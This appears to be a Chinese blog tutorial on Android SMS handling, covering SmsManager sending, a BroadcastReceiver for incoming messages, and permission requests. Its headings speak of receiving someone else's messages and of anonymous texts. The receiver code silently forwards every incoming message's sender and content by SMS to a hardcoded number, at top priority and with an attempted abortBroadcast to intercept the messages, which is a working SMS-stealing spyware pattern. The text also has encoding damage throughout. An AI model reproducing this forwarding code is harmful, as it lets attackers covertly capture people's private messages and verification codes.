好久沒寫了,最近學習Android的相關知識,包括UI組件與布局、Activity生命周期等,而這次要講的是,Broadcast Receiver的相關知識,主要是接收發短信,SmsManager、SmsManages的使用。還有就是這里涉及到的權限問題,在清單文件中加入相關的權限,還有就是運行權限。具體請看下面例子:
同步接收別人手機短信?發短信(SmsManager):
發短信比較簡單,我們可以定義一個類,通過傳參(包括號碼與內容)的方式進行進一步操作。
匿名發短信??
import?android.telephony.SmsManager;
import java.util.ArrayList;
?
public class SendMsg {
????String message;
????String phone;
????public SendMsg(String message, String phone) {
????????this.message = message;
????????this.phone = phone;
????????SmsManager smsManager = SmsManager.getDefault();
????????ArrayList<String> list = smsManager.divideMessage(message);
????????for (String text:list) {
????????????smsManager.sendTextMessage(phone, null, text, null, null);
????????}
????}
}
在manifest清單文件中加入
<uses-permission android:name="android.permission.SEND_SMS" />
在主MainActivity中加入運行權限
...
protected void onCreate(Bundle savedInstanceState) {
????super.onCreate(savedInstanceState);
????setContentView(R.layout.activity_main);
?
if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.SEND_SMS) != PackageManager.PERMISSION_GRANTED) {
????ActivityCompat.requestPermissions(MainActivity.this, new String[]{Manifest.permission.SEND_SMS}, 1);
}
}
?
接著就是重寫onRequestPermissionsResult
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
????switch (requestCode) {
????????case 1:
????????????if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
????????????????//這里寫操作 如send(); send函數中New SendMsg (號碼,內容);
????????????} else {
????????????????Toast.makeText(this, "你沒啟動權限", Toast.LENGTH_SHORT).show();
????????????}
????????????break;
???????default:
????}
}
?
?
在接下來就是接收短信,方式有很多這里就不一一介紹了,主要講講使用Broadcast。而設計到廣播,就需要了解廣播的相關知識,具體不會講很多以后慢慢更新。
廣播需要創建一個Receiver進行監聽短信的查收。如下:
?
import...
public class SMSReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String?phone = "10086";
String num, con;
//讀取data中存入的安全號碼
Bundle bundle = intent.getExtras();
if (bundle != null) {
????Object[] objs = (Object[]) bundle.get("pdus");
????SmsMessage[] smsMessages = new SmsMessage[objs.length];
????for (int i = 0; i < objs.length; i++) {
????????smsMessages[i] = SmsMessage.createFromPdu((byte[]) objs[i]);
????????num = smsMessages[i].getDisplayOriginatingAddress(); //短信的號碼
????????con = smsMessages[i].getDisplayMessageBody(); //短信的內容
????????Toast.makeText(context, num + "----" + con, Toast.LENGTH_SHORT).show();
????????System.out.println("號碼:" + num + "內容:" + con);
????????SendMsg sendMsg = new SendMsg("號碼:" + num + "內容:" + con, phone);
?
if (num.equals(phone)) {
//這里可以寫一些自己的其他操作 (如包括匹配相應的號碼進行操作)
}
?}
????????abortBroadcast(); ?//這里是對短信進行攔截但是并不能實現
????}
}
?
寫完receiver之后就可以進行注冊(靜態與動態),這里就寫靜態了如下:
<receiver
????android:name=".SMSReceiver"
????android:enabled="true"
????android:exported="true">
?????<intent-filter android:priority="1000"> <!-- 這是優先權--!>
????????<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
?????</intent-filter>
</receiver>
上面的intent-filter便是靜態注冊了,打開APP便進行短信監聽
還有就是權限問題:
<uses-permission android:name="android.permission.RECEIVE_SMS" />
運行權限:
if (ContextCompat.checkSelfPermission(MainActivity.this, Manifest.permission.RECEIVE_SMS)!= PackageManager.PERMISSION_GRANTED){
????ActivityCompat.requestPermissions(MainActivity.this,new String[]{Manifest.permission.RECEIVE_SMS},2);
}
onRequestPermissionsResult方法如上
?